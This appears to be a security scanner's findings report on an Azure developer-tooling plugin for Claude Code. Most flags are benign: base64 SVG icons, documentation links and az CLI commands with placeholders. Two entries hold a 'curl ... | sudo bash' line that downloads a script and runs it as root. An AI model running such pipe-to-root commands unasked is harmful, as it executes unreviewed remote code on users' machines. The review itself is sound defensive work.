    "b64": "PHN2ZyBpZD0iYTdmMzY4YjktNTdjNC00YTdiLWE2MWQtNDExNjZjZTc0YTRiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEwZjI1ZWY3LWQ2ODAtNGRhYy1hNzUx
  • Possible obfuscationline 1252
    "b64": "PHN2ZyBpZD0iZTIzNTQ2NjUtZGEzZS00N2RhLWJkYmYtYzBhMDYxYjVkMGI1IiBkYXRhLW5hbWU9IkxheWVyIDEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0Jv
  • Possible obfuscationline 1257
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2ZTYyMjQxLTU1YWItNDhjZi05YTM0LTllMDc1OWE4OWRmZCIgeDE9IjExLjEyMiIgeTE9IjEzLjkyIiB4Mj0i
  • Possible obfuscationline 1262
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUxYmMxMjJhLTUxOTMtNGI5MS04ZDEwLWM5NGM4YTNjYWYwNCIgeDE9IjExLjIwMiIgeTE9IjEzLjkwNiIgeDI9
  • Possible obfuscationline 1267
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIzNGU1NDFhLWYyNjctNDVhNi05Y2NlLTAyMWIxNWE4NTM2YSIgeDE9IjExLjIwMiIgeTE9IjEzLjkwNiIgeDI9
  • Possible obfuscationline 1272
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExNWQyM2I3LWQ2OWUtNGQ3Mi04MDM5LTVjZWI3ZTU5MjA2ZSIgeDE9IjguOTk5IiB5MT0iNi44MDciIHgyPSI4
  • Possible obfuscationline 1277
    "b64": "PHN2ZyBpZD0iYTI2ZTdkMGQtYzE1OS00MzdjLTg0NWUtNTI5NzI2ZjNkZjllIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFlYTU3NmU1LWZlZjgtNGJmNS1hNmRk
  • Possible obfuscationline 1282
    "b64": "PHN2ZyBpZD0iZTAwYWRmODItM2EyYi00ZDYzLTg4ZDYtMDRlMGZkNjEzNzE2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzNDk0NDkyLTkzMjItNDg2NC1iMjE1
  • Possible obfuscationline 1287
    "b64": "PHN2ZyBpZD0iYTk4NTE3ZmQtMDY1NS00MGE0LThkZGEtYWU0N2ExNDgwMjgwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4MDIyNmJhLTZkMGQtNDk1Ni04ZjE5
  • Possible obfuscationline 1292
    "b64": "PHN2ZyBpZD0iYjQ4YzUwODktYjkyNi00ZTVjLWFmZGQtYzhkMzdmZWU3MDVlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmNzFjYThiLWUwYzMtNDJhMy1iMTc0
  • Possible obfuscationline 1297
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyNTQzYmNkLTU1YWEtNDg0MC1hNWFjLTM5ZDU3YWZkNDIyOCIgeDE9IjkuMjYxIiB5MT0iLTAuMzY0IiB4Mj0i
  • Possible obfuscationline 1302
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9IjU0OGZkMzE4LWIzZWQtNGYyZC04YWRiLTQ4ZjZlOTY4NWJjZiIgY3g9IjguMzgiIGN5PSI0NDUuOTQiIHI9IjQu
  • Possible obfuscationline 1307
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJjMjhkMDc1LWU1MjEtNDM5Ni1hNmNlLWE1OGE4NGM2NjlkYiIgeDE9IjUuMzY4IiB5MT0iMi41OTkiIHgyPSI5
  • Possible obfuscationline 1312
    "b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3
  • Possible obfuscationline 1317
    "b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3
  • Possible obfuscationline 1322
    "b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3
  • Possible obfuscationline 1327
    "b64": "PHN2ZyBpZD0iYjVhYWM2MzMtNWU0ZS00YmEzLWI3OWQtODc0MDMwYjAxNjI4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY1YWJhMjhkLWE2MWUtNGM1ZS1hODgx
  • Possible obfuscationline 1332
    "b64": "PHN2ZyBpZD0idXVpZC05ODllYmM3MS1kN2U4LTRmZGEtYmU1Mi05MGEzYWE3OGViNmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Im05LjQwNSwwaDguMjk4Yy4xNjQsMCwuMjk3LjEzMy4yOTcu
  • Possible obfuscationline 1337
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyOGY2ZWYxLWZkMzEtNDc1MS05MTA4LWY5NDcyOWMwZjE2OSIgeDE9IjkuMDQ5IiB5MT0iMS4xOTYiIHgyPSI5
  • Possible obfuscationline 1342
    "b64": "PHN2ZyBpZD0idXVpZC00ZDQ3ZGZlNi02NTg2LTQ3MWMtYjQ5MS02NGMxNTk2MWQ3MjYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC0xMTQ5N2NhZS1hZTRj
  • Possible obfuscationline 1347
    "b64": "PHN2ZyBpZD0iYTU0MmNmMzktMmJhNi00MjA2LTgyNzgtNmE0ZjFjMjQ1MmY1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImU3NTc5ZjRkLTM2YTMtNDY5My1hNzI2
  • Possible obfuscationline 1352
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVkNTUyODRjLTBlYWEtNGVkZi1hMWI2LWE0Yzk1MGNmNTZhZiIgeDE9Ii00MDE0LjIyNSIgeTE9Ii0xMTkuODY0
  • Possible obfuscationline 1357
    "b64": "PHN2ZyBpZD0iZjFmNmU3NmYtZDA5Mi00ZjQ5LTgyMmItYWMzMDg4MmUyZGE1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUwMDQxMjExLWViMGQtNGNiMi04NWFm
  • Possible obfuscationline 1362
    "b64": "PHN2ZyBpZD0idXVpZC0zYmNkNTliNy1iOTgyLTQ1MzAtOWIxMi0xNmRjOTQ0MTc5YmMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjU0YTE0Yy1kYTEx
  • Possible obfuscationline 1367
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJmNDcxYTA4ZS1lZjNhLTRmOGMtYTA4
  • Possible obfuscationline 1372
    "b64": "PHN2ZyBpZD0idXVpZC1mY2IxN2ViNC05OTgyLTRjNzAtOTJhMC1lNDBiOTUxOWY3NzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxnPjxnPjxwYXRoIGQ9Ik0xMi4xLDE1LjE0NGMtMy4xNTgsMC01LjcxNi0u
  • Possible obfuscationline 1377
    "b64": "PHN2ZyBpZD0iYmFjMjg2OTAtMjRiYS00ZDlkLTkyYjAtYmFkOWNjOGRiZDkyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExN2FhMzU0LWU1NjctNDM1Ni1hNzE4
  • Possible obfuscationline 1382
    "b64": "PHN2ZyBpZD0iYWU3OGZhOWYtMmE2Yi00NTI4LTk4NWYtNmM3OGQ0NjZjOGE4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwYTU3MjA0LTcwZGItNGIxZS1iMTAz
  • Possible obfuscationline 1387
    "b64": "PHN2ZyBpZD0idXVpZC03NDRiN2U5NS01MDE0LTRiMzUtOTUzOS1lOWQwMzNiOGViNDMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC04MzMwYzBiNy0wMmRh
  • Possible obfuscationline 1392
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViOGNmYmE5LTFmMDYtNDJiOS1hNTFjLTRhYTQyYWU4MWY2ZCIgeDE9IjcuNzI2IiB5MT0iLTQuNDE3IiB4Mj0i
  • Possible obfuscationline 1397
    "b64": "PHN2ZyBpZD0idXVpZC00Njc5YzgxZi00YjZhLTRkNzctYTkwMS02NTU5OTk2YTY5NzkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNTEzMDRkYi0yNDFl
  • Possible obfuscationline 1402
    "b64": "PHN2ZyBpZD0iYTc2MGI2ZjEtMWU1NS00MzQ5LWJjYWQtNTYzYjgxYWI1MmNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MTVlYzIwLTk1ZGItNDE0Yy05ODJi

harness/claude-code/plugins/azure-developer-tooling/skills/azure-container-registry-cli/SKILL.md

  • Network accessline 29
    # Install Azure CLI brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 30
    brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash winget install Microsoft.AzureCLI
  • Dangerous shell operationline 31
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 31
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 151
    - [Install Azure CLI on Linux](https://aka.ms/InstallAzureCLIDeb)

harness/claude-code/plugins/azure-developer-tooling/skills/azure-container-registry-cli/references/build-and-tasks.md

  • Network accessline 32
    # Build directly from a Git repo (no local clone) az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder}
  • Network accessline 33
    az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder}
  • Network accessline 59
    az acr task create --registry {registry} --name build-app \   --image "app:{{.Run.ID}}" \   --context https://github.com/{org}/{repo}.git#main \
  • Network accessline 60
    --image "app:{{.Run.ID}}" \   --context https://github.com/{org}/{repo}.git#main \   --file Dockerfile \
  • Network accessline 61
    --context https://github.com/{org}/{repo}.git#main \
  • Network accessline 124
    az acr task create --registry {registry} --name build-test-push \   --file acb.yaml \   --context https://github.com/{org}/{repo}.git#main \
  • Network accessline 125
    --file acb.yaml \   --context https://github.com/{org}/{repo}.git#main \   --git-access-token {pat}
  • Network accessline 126
    --context https://github.com/{org}/{repo}.git#main \

harness/claude-code/plugins/azure-developer-tooling/skills/azure-container-registry-cli/references/images-and-artifacts.md

  • Network accessline 148
    az acr credential-set create --registry {registry} --name dockerhub-creds \   --login-server docker.io \   --username-id https://{vault}.vault.azure.net/secrets/dh-user \
  • Network accessline 149
    --login-server docker.io \   --username-id https://{vault}.vault.azure.net/secrets/dh-user \   --password-id https://{vault}.vault.azure.net/secrets/dh-pass
  • Network accessline 150
    --username-id https://{vault}.vault.azure.net/secrets/dh-user \
  • Network accessline 151
    --password-id https://{vault}.vault.azure.net/secrets/dh-pass

harness/claude-code/plugins/azure-developer-tooling/skills/azure-container-registry-cli/references/networking-and-geo.md

  • Network accessline 93
    Alternatives that avoid the bypass entirely: run tasks in a VNet-attached agent pool, or run `acr purge` locally with the [acr-cli binary](https://github.com/azure/acr-cli). Tasks using a user-assigned identity are not affected.
  • Network accessline 130
    az acr export-pipeline create --resource-group {rg} --registry {src-registry} \   --name export-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 131
    --name export-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \   --storage-container-uri https://{account}.blob.core.windows.net/{container}
  • Network accessline 132
    --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 133
    --storage-container-uri https://{account}.blob.core.windows.net/{container}
  • Network accessline 136
    az acr import-pipeline create --resource-group {rg} --registry {dst-registry} \   --name import-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 137
    --name import-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \   --storage-container-uri https://{account}.blob.core.windows.net/{container}
  • Network accessline 138
    --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 139
    --storage-container-uri https://{account}.blob.core.windows.net/{container}

harness/claude-code/plugins/azure-developer-tooling/skills/azure-deployment-preflight/SKILL.md

  • Access to secretsline 40
    [Credential-related source omitted]

harness/claude-code/plugins/azure-developer-tooling/skills/azure-deployment-preflight/references/ERROR-HANDLING.md

  • Network accessline 35
    - **Message:** Not logged in to Azure CLI - **Remediation:** Run `az login` to authenticate, then re-run preflight validation - **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli
  • Network accessline 37
    - **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli
  • Network accessline 166
    - **Message:** Found unexpected tokens in interpolated expression - **Remediation:** Check the string interpolation syntax at line 22 - **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagn
  • Network accessline 168
    - **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagnostics#bcp064
  • Network accessline 211
    2. Provide installation instructions.   - If available use the Azure MCP `extension_cli_install` tool to get installation instructions.   - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli.
  • Network accessline 212
    - If available use the Azure MCP `extension_cli_install` tool to get installation instructions.   - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. 3. Skip az commands
  • Network accessline 213
    - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli.
  • Network accessline 245
    - **Source:** environment - **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install
  • Network accessline 246
    - **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install - **Impact:** Syntax validation was skipped; Azure will validate during what-if
  • Network accessline 247
    - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install

harness/claude-code/plugins/azure-developer-tooling/skills/azure-deployment-preflight/references/VALIDATION-COMMANDS.md

  • Network accessline 297
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 298
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Access to secretsline 310
    [Credential-related source omitted]

harness/claude-code/plugins/azure-developer-tooling/skills/azure-developer-cli/examples/azure.yaml

  • Network accessline 1
    # yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json

harness/claude-code/plugins/azure-developer-tooling/skills/azure-developer-cli/references/iac-and-environments.md

  • Network accessline 63
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 64
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Access to secretsline 147
    [Credential-related source omitted]

harness/claude-code/plugins/azure-developer-tooling/skills/azure-developer-cli/references/official-docs.md

  • Network accessline 7
    - [Azure Developer CLI documentation](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/)
  • Network accessline 8
    - [What is the Azure Developer CLI?](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/overview)
  • Network accessline 9
    - [Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-templates)
  • Network accessline 10
    - [Create Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/make-azd-compatible)
  • Network accessline 11
    - [Azure Developer CLI schema reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-schema)
  • Network accessline 12
    - [`azure.yaml` JSON schema](https://aka.ms/azure.yaml.json)
  • Network accessline 13
    - [Explore the `azd up` workflow](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-up-workflow)
  • Network accessline 14
    - [Full-stack deployment with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/full-stack-deployment)
  • Network accessline 18
    - [Use Terraform as an infrastructure as code tool for Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd)
  • Network accessline 19
    - [Azure Verified Modules](https://azure.github.io/Azure-Verified-Modules/)
  • Network accessline 20
    - [Bicep documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/)
  • Network accessline 21
    - [Terraform on Azure documentation](https://learn.microsoft.com/en-us/azure/developer/terraform/)
  • Network accessline 25
    - [Azure Developer CLI environments overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environments-overview)
  • Network accessline 26
    - [Work with Azure Developer CLI environments](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/work-with-environments)
  • Network accessline 27
    - [Work with Azure Developer CLI environment variables](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/manage-environment-variables)
  • Network accessline 28
    - [Remote environments support](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/remote-environments-support)
  • Network accessline 29
    - [Use environment secrets with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environment-secrets)
  • Network accessline 33
    - [Customize Azure Developer CLI workflows using hooks](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-extensibility)
  • Network accessline 34
    - [Explore Azure Developer CLI support for CI/CD pipelines](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/configure-devops-pipeline)
  • Network accessline 35
    - [Create a GitHub Actions CI/CD pipeline using Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-github-actions)
  • Network accessline 36
    - [Advanced pipeline features and configurations](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-advanced-features)
  • Network accessline 37
    - [Azure Developer CLI command reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/reference)
  • Network accessline 38
    - [Troubleshoot Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/troubleshoot)
  • Network accessline 42
    - [Adding agent skills for GitHub Copilot](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-cloud-agent/add-skills)
  • Network accessline 43
    - [About agent skills](https://docs.github.com/en/copilot/concepts/agents/about-agent-skills)

harness/claude-code/plugins/azure-developer-tooling/skills/azure-developer-cli/references/project-structure.md

  • Network accessline 59
    # yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json

harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/SKILL.md

  • Network accessline 31
    # Install Azure CLI on Linux curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Dangerous shell operationline 32
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 32
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 41
    az devops login --organization https://dev.azure.com/{org} --token YOUR_PAT_TOKEN
  • Network accessline 42
    az devops configure --defaults organization=https://dev.azure.com/{org} project={project}
  • Network accessline 46
    Replace legacy `https://{org}.visualstudio.com` URLs with `https://dev.azure.com/{org}`.
  • Network accessline 133
    - **Do not expose `YOUR_PAT_TOKEN`**: pass tokens through secure input or environment-controlled login, never commit them. - **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https://
  • Network accessline 134
    - **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced. - **Windows long comments fail thr
  • Network accessline 135
    - **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced.
  • Network accessline 161
    **Status:** complete | blocked | failed **Organization:** `https://dev.azure.com/{org}`
  • Network accessline 162
    **Organization:** `https://dev.azure.com/{org}`
  • Network accessline 182
    - [ ] Azure CLI and `azure-devops` extension prerequisites are satisfied or installation commands are provided. - [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit.
  • Network accessline 183
    - [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit.
  • Network accessline 192
    - [Azure CLI Linux install](https://aka.ms/InstallAzureCLIDeb)

harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/references/advanced-usage.md

  • Network accessline 159
    | Parameter | Description | |---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) |
  • Network accessline 160
    |---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) | | `--project` / `-p` | Project name or ID |
  • Network accessline 161
    | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) |

harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/references/long-comments-on-windows.md

  • Network accessline 54
    The Azure CLI `@<file>` convention is documented for JSON parameters (see [the official quoting guide](https://learn.microsoft.com/en-us/cli/azure/use-azure-cli-successfully-quoting)). It is not guaranteed to expand plain string args like `

harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/references/org-and-security.md

  • Network accessline 22
    az devops project list --organization https://dev.azure.com/{org}
  • Network accessline 29
    az devops project create \   --name myNewProject \   --organization https://dev.azure.com/{org} \
  • Network accessline 30
    --name myNewProject \   --organization https://dev.azure.com/{org} \   --description "My new DevOps project" \
  • Network accessline 31
    --organization https://dev.azure.com/{org} \
  • Network accessline 40
    az devops project show --project {project-name} --org https://dev.azure.com/{org}
  • Network accessline 46
    az devops project delete --id {project-id} --org https://dev.azure.com/{org} --yes
  • Network accessline 155
    az devops user list --org https://dev.azure.com/{org}
  • Network accessline 162
    az devops user show --user {user-id-or-email} --org https://dev.azure.com/{org}
  • Network accessline 168
    az devops user add    --email user@example.com    --license-type express    --org https://dev.azure.com/{org}
  • Network accessline 169
    --email user@example.com \   --license-type express \   --org https://dev.azure.com/{org}
  • Network accessline 171
    --org https://dev.azure.com/{org}
  • Network accessline 177
    az devops user update    --user {user-id-or-email}    --license-type advanced    --org https://dev.azure.com/{org}
  • Network accessline 178
    --user {user-id-or-email} \   --license-type advanced \   --org https://dev.azure.com/{org}
  • Network accessline 180
    --org https://dev.azure.com/{org}
  • Network accessline 186
    az devops user remove --user {user-id-or-email} --org https://dev.azure.com/{org} --yes
  • Network accessline 440
    # List installed extensions az devops extension list --org https://dev.azure.com/{org}
  • Network accessline 441
    az devops extension list --org https://dev.azure.com/{org}
  • Network accessline 446
    # Show extension details az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org}
  • Network accessline 447
    az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org}
  • Network accessline 450
